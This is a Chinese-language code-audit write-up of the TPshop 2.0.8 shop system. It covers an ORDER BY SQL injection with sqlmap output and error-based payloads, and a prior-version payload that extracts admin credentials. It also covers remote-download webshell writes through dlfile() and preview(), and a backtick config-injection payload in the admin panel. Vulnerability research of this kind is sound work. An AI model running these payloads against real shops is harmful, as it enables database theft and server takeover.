一例关于order by类型的MySQL注入,关于fwrite(),file_put_contents()的前后台GetShell的代码审计;

环境搭建

Apache + php 5.2.17 + mysql 5.5.53

官网下载最新版:TPshop_20171106_v2.0.8

吐槽:

1、安装需要require PHP > 5.4.0 !

即可不用考虑00截断的解析漏洞了;

2、必须在根目录才能安装,什么鬼?

这里直接将tpshop临时改为WWW;

3、为了您站点的安全,安装完成后即可将网站根目录下的“install”文件夹删除,或者/install/目录下创建install.lock文件防止重复安装。

其实已经在安装成功后自动创建了lock文件,有提示还是很赞的;

TPshop?

TPshop开源商城是用ThinkPHP开发的shop商城,后台用最新版的bootstrap,适合 Window + Linux,用这个系统能开发出现在流行的京东、一号店;

适合企业及个人快速构建个性化网上商城,包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

ThinkPHP

由于CMS是基于ThinkPHP开发的,一些url规则,以及特殊函数需要先了解下;

目录结构(来自phpoop师傅):

    ├─index.php           入口文件
    ├─Install             安装目录 //保存着各种的sql文件 php文件初始化
    ├─Thinkphp            PHP框架代码
    ├─plugins             保存插件的地方
    ├─vendor              第三方类库
    ├─Public              保存css,js,img,upload的地方
    ├─Template            模版文件 //保存手机与电脑端html的地方
    │    ├─mobile              手机模版文件
    │    ├─pc                  电脑模版文件
    ├─application         项目文件夹
    │    ├─home                电脑端业务代码 //保存着电脑端的各种功能PHP文件
    │    │    ├─Controller          控制器
    │    │    ├─lang                语言包
    │    │    ├─Logic               模型逻辑层(可以当成Services来看)
    │    │    ├─model               模型层
    │    │    ├─validate            验证器
    │    │    ├─view                视图(在这框架中并没有什么用)
    │    ├─admin                   管理端业务代码 //保存着管理端的各种功能PHP文件同上
    │    ├─mobile                  手机端业务代码 //保存着手机端的各种功能PHP文件
    │    ├─common                  全局公共函数文件夹(我也不懂为什么这里要放一大把的model的东西)
    │    ├─common.php              全局公共函数文件
    │    ├─config php              全局公共配置文件
    │    ├─database.php            数据库配置文件
    │    ├─function.php            公共函数文件
    │    ├─route.php               系统路由文件
    │    ├─tags.php                应用行为扩展定义文件

MVC 模式:

M -Model 编写model类 对数据进行操作
V -View  编写html文件,页面呈现
C -Controller 编写类文件(UserAction.class.php)

I()函数http://www.thinkphp.cn/document/308.html

参数       含义
 s   强制转换为字符串类型
 d    强制转换为整形类型
 b    强制转换为布尔类型
 a    强制转换为数组类型
 f    强制转换为浮点类型

I(‘get.id/d’); // 强制转换成整数,强制get接受

I(‘q’, ‘’); // 接受所有方式的数据传送,get,post

I()函数默认的变量修饰符是/s。

M函数http://www.thinkphp.cn/info/123.html

M方法有三个参数,第一个参数是模型名称(可以包括基础模型类和数据库),第二个参数用于设置数据表的前缀(留空则取当前项目配置的表前缀),第三个参数用于设置当前使用的数据库连接信息(留空则取当前项目配置的数据库连接信息);

URL访问的四种方式:

1、PATHINFO 模式 --重点 在后面使用非常多,如果想传多个参数可以使用键1/值1/键2/值2方法
http://域名/项目名/入口文件/模块名/方法名/键1/值1/键2/值2
2、普通模式也称为重写模式
http://域名/项目名/入口文件?m=模块名&a=方法名&键1=值1&键2=值2
3、REWRITE重写模式,去掉入口文件便于SEO优化
http://域名/项目名/模块名/方法名/键1/值1/键2/值2
4、兼容模式
http://域名/项目名/入口文件?s=模块名/方法名/键1/值1/键2/值2

以下记录均采用第一种方式,也是ThinkPHP特有的方式;

SQL 注入

Path:/application/home/controller/Goods.php

Func:search()

触发:

TPshop_1.png

Demo:

[Go0s]: ~ 
➜  sqlmap -u "http://192.168.215.136/Home/Goods/search/q/apple/sort/*" --dbms=mysql --batch
...
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: http://192.168.215.136/Home/Goods/search/q/apple/sort/(SELECT (CASE WHEN (9511=9511) THEN 9511 ELSE 9511*(SELECT 9511 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: http://192.168.215.136/Home/Goods/search/q/apple/sort/(SELECT 3618 FROM(SELECT COUNT(*),CONCAT(0x7176627671,(SELECT (ELT(3618=3618,1))),0x71706b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

可以看到SQLMAP检测出了报错注入和布尔注入,用报错更直观,EXP:

http://192.168.215.136//Home/Goods/search/q/apple/sort/(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2)))

TPshop_2.png

漏洞触发过程:

Goods.php —> function search() —> $sort = I(‘sort’, ‘goods_id’); $sort_asc = I(‘sort_asc’, ‘asc’); 排序 —> order("$sort $sort_asc") SQL语句调用

search() 分析:

257-258 行
$sort = I('sort', 'goods_id'); // 排序
$sort_asc = I('sort_asc', 'asc'); // 排序

319 行
$goods_list = M('goods')->where(['is_on_sale' => 1, 'goods_id' => ['in', implode(',', $filter_goods_id)]])->order("$sort $sort_asc")->limit($page->firstRow . ',' . $page->listRows)->select();

不论正向排序还是反向排序,依据的字段名均没有采用过滤,也没有判断字段名是否存在,直接将输入带入SQL order语句;

在order by处出现注入,可以采用报错注入;

EXP对应的完整SQL语句为:

SELECT * FROM `tp_goods` WHERE `is_on_sale` = :where_is_on_sale AND `goods_id` IN (:where_goods_id_in_0,:where_goods_id_in_1) ORDER BY (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))) asc LIMIT 0,20 

其他几处:全局搜索 order("$sort $sort_asc"),算上上面的一共有四处;

application/home/controller/Goods.php:

197 行 goodsList()
$goods_list = M('goods')->where("goods_id","in", implode(',', $filter_goods_id))->order("$sort $sort_asc")->limit($page->firstRow.','.$page->listRows)->select();

319 行 search()
$goods_list = M('goods')->where(['is_on_sale' => 1, 'goods_id' => ['in', implode(',', $filter_goods_id)]])->order("$sort $sort_asc")->limit($page->firstRow . ',' . $page->listRows)->select();

application/mobile/controller/Goods.php:

101 行 goodsList()
$goods_list = M('goods')->where("goods_id","in", implode(',', $filter_goods_id))->order("$sort $sort_asc")->limit($page->firstRow.','.$page->listRows)->select();

410 行 search()
$goods_list = M('goods')->where("goods_id", "in", implode(',', $filter_goods_id))->order("$sort $sort_asc")->limit($page->firstRow.','.$page->listRows)->select();

只是区分了PC端和移动端,这样

方法goodsList()中同样属于order未过滤导致SQL报错注入;

触发点:http://192.168.215.136/Home/Goods/goodsList/id/1/sort/

TPshop_3.png

v2.0.7 SQL注入

之前搜索时候发现2.0.7版本,也就是上一个版本出现过SQL注入:https://www.seceye.cn/1543.html

漏洞同样出现在Goods.php的search()和goodsList()函数;

那么同样,pc端存在,移动端也存在;

$goods_id_1 = $goodsLogic->getGoodsIdByBrandPrice($brand_id,$price); // 根据 品牌 或者 价格范围 查找所有商品id    

调用了goodsLogic类的 getGoodsIdByBrandPrice() 方法,并将 $price 作为参数传入;

$price = I('get.price',''); // 价钱

并没有进行强制类型转换为数字型d进行限制;

跟进 application/common/logic/GoodsLogic.phpgetGoodsIdByBrandPrice 方法;

400-407 行
if ($price)// 价格查询
        {
            $price = explode('-', $price);
            $price[0] = intval($price[0]);
            $price[1] = intval($price[1]);
            $price_where=" shop_price >= $price[0] and shop_price <= $price[1] ";
            $price_select_goods = M('goods')->where($price_where)->getField('goods_id', true);
        }

这里进行了 intval() 强制类型转换,同样解决了问题;

这里看之前的代码(v2.0.7);

if ($price)// 价格查询
{
$price = explode('-', $price);
$price_where=" shop_price >= $price[0] and shop_price <= $price[1] ";
$price_select_goods = M('goods')->where($price_where)->getField('goods_id',
true);
}

$price 参数传过来的字符串以 - 分割转换成数组传入SQL语句中,这就造成了 where 条件可控,造成注入,也是采用报错方式;

http://192.168.215.136/Home/Goods/search/q/apple/price/1000-9000 and exp(~(select * from(SELECT distinct concat(0x23,user_name,0x3a,password,0x23) FROM tp_admin limit 0,1 )a))
SQL语句:
SELECT goods_id FROM tp_goods WHERE ( shop_price >= 1000 and shop_price <= 9000 andexp(~(select * from( SELECT distinct concat(0x23,user_name,0x3a,password,0x23) FROM tp_admin limit 0,1 )a)))

TPshop_4.png

fwrite 前台GetShell

Path:/application/home/controller/Test.php

Func:dlfile()

Demo:

http://192.168.215.136/Home/Test/dlfile 方法POST数据:file_url=http://10.232.57.136:8080/shell.txt&save_to=C:\www\WWW\shell.php

TPshop_5.png

1、本地起个http服务,讲一句话写入任意文件:http://10.232.57.136:8080/shell.txt

TPshop_6.png

2、随便输个函数名,让其报错输出网站绝对路径:http://192.168.215.136/Home/Test/dlfilexxx

TPshop_7.png

前台直接就 GetShell:

TPshop_8.png

漏洞触发过程:

Test.php —> function dlfile($file_url, $save_to) —> fwrite($downloaded_file, $file_content); 写入目录和数据来源均可控,造成任意文件写入;

dlfile() 分析:

260-271 行
public function dlfile($file_url, $save_to)
    {
            $ch = curl_init();  // 启动一个CURL会话
            curl_setopt($ch, CURLOPT_POST, 0);
            curl_setopt($ch,CURLOPT_URL,$file_url);  // 要访问的地址
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $file_content = curl_exec($ch);  // 执行操作
            curl_close($ch);  // 关键CURL会话   
            $downloaded_file = fopen($save_to, 'w');
            fwrite($downloaded_file, $file_content);
            fclose($downloaded_file);
    }

这只是一个测试的类,全局没发现调用的…

这段代码创建一个 curl 会话用于远程访问 $file_url,并使用 curl_exec() 将内容带回,fwrite 写到自定义目录中;

curl拿回的内容并没有过滤,就造成了远程任意文件内容写入,直接getshell;

file_put_contents 前台GetShell

Path:/application/admin/controller/Uploadify.php

Func:preview()

Demo:

页面 http://192.168.215.136/Home/Uploadify/preview 访问返回结果和API类似:

TPshop_9.png

向其 POST 数据:data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

TPshop_10.png

PD9waHAgcGhwaW5mbygpOw==<?php phpinfo(); 的base64加密,多了 ?>会报错,写不进去;

image/php 需要注意 php;

GetShell:

TPshop_11.png

漏洞触发过程:

Uploadify.php —> function preview() —> $src = file_get_contents(‘php://input’); —> 绕过一些判断后 —> file_put_contents($filePath, $data); 完成写入

preview() 分析:

145-199 行
public function preview(){
	    
	    // 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
		$DIR = 'preview';
		// Create target dir
		if (!file_exists($DIR)) {
		    @mkdir($DIR);
		}
		
		$cleanupTargetDir = true; // Remove old files
		$maxFileAge = 5 * 3600; // Temp file age in seconds
		
		if ($cleanupTargetDir) {
		    if (!is_dir($DIR) || !$dir = opendir($DIR)) {
		        die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
		    }
		
		    while (($file = readdir($dir)) !== false) {
		        $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;		
		        // Remove temp file if it is older than the max age and is not the current file
		        if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
		            @unlink($tmpfilePath);
		        }
		    }
		    closedir($dir);
		}
		
		$src = file_get_contents('php://input');
		if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {		
		    $previewUrl = sprintf(
		        "%s://%s%s",
		        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
		        $_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
		    );
		    $previewUrl = str_replace("preview.php", "", $previewUrl);
		    $base64 = $matches[2];
		    $type = $matches[1];
		    if ($type === 'jpeg') {
		        $type = 'jpg';
		    }
		
		    $filename = md5($base64).".$type";
		    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
		
		    if (file_exists($filePath)) {
		        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
		    } else {
		        $data = base64_decode($base64);
		        file_put_contents($filePath, $data);
		        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
		    }
		} else {
		    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
		}
    }

(1) $src = file_get_contents('php://input'); 读取POST的数据并赋值给src变量;

(2) preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches) 匹配成功进入if判断,这里最为致命,\w+使用的很玄,应该写死或白名单过滤;

$matches[1]image/ 后的字符,$matches[2]base64, 后的内容;

(3) $filename = md5($base64).".$type"; 上传后的文件名可知,虽然最后die讲filename也一并输出了呗,好尴尬,;

$base64 = $matches[2]; 以及 $type = $matches[1];

(4) 最后一个 if 限制形同虚设,$data = base64_decode($base64); 将其解码后执行 file_put_contents($filePath, $data); 即将数据写入,GetShell;

file_put_contents 后台GetShell

全局搜索 file_put_contents ,发现在后台 /application/admin/ 存在好多;

Plugin.phpadd_shipping() 函数:

位置在:http://192.168.215.136/Admin/Plugin/add_shipping

453-462 行
$config_html = "<?php
                        return array(
                            'code'=> '$code',
                            'name' => '$name',
                            'version' => '1.0',
                            'author' => '管理员',
                            'desc' => '$desc ',
                            'icon' => 'logo.jpg',
                        );";
        file_put_contents(PLUGIN_PATH . "shipping/$code/config.php", $config_html);

写入路径固定可控,写入数据可控 –> $name进行闭合来写入:

$name = I('name'); 支持各种方式传入数据;

if(strstr($dir, '../') || strstr($code, '(') || strstr($name, '(') || strstr($desc, '(')) 判断也很容易绕过,直接使用[]即可,eval使用反引号代替;

',`$_POST[x]`,'

同样的还有:/application/admin/controller/Template.phpchangeTemplate() 方法;

47-91 行
public function changeTemplate(){

        $t = I('t','pc'); // pc or  mobile
        $m = ($t == 'pc') ? 'home' : 'mobile';
        $key = $this->request->param('key');
        //$default_theme = tpCache("hidden.{$t}_default_theme"); // 获取原来的配置
        //tpCache("hidden.{$t}_default_theme",$_GET['key']);
        //tpCache('hidden',array("{$t}_default_theme"=>$_GET['key']));
        // 修改文件配置
         if(!is_writeable(APP_PATH."$m/html.php"))
            return "文件/".APP_PATH."$m/html.php不可写,不能启用魔板,请修改权限!!!";

		$config_html ="<?php
return [
            'template'               => [
            // 模板引擎类型 支持 php think 支持扩展
            'type'         => 'Think',
            // 模板路径
            'view_path'    => './template/$t/$key/',
            // 模板后缀
            'view_suffix'  => 'html',
            // 模板文件名分隔符
            'view_depr'    => DS,
            // 模板引擎普通标签开始标记
            'tpl_begin'    => '{',
            // 模板引擎普通标签结束标记
            'tpl_end'      => '}',
            // 标签库标签开始标记
            'taglib_begin' => '<',
            // 标签库标签结束标记
            'taglib_end'   => '>',
            //模板文件名
            'default_theme'     => '$key',   
        ],
        'view_replace_str'  =>  [
            '__PUBLIC__'=>'/public',
            '__STATIC__' => '/template/$t/$key/static',
            '__ROOT__'=>''
        ]
    ];
?>";
         file_put_contents(APP_PATH."/$m/html.php", $config_html);
        delFile('./runtime');
        $this->success("操作成功!!!",U('admin/template/templateList',array('t'=>$t)));
    }

不过没绕过…

参考博文

https://xianzhi.aliyun.com/forum/topic/1695 https://www.seceye.cn/1543.html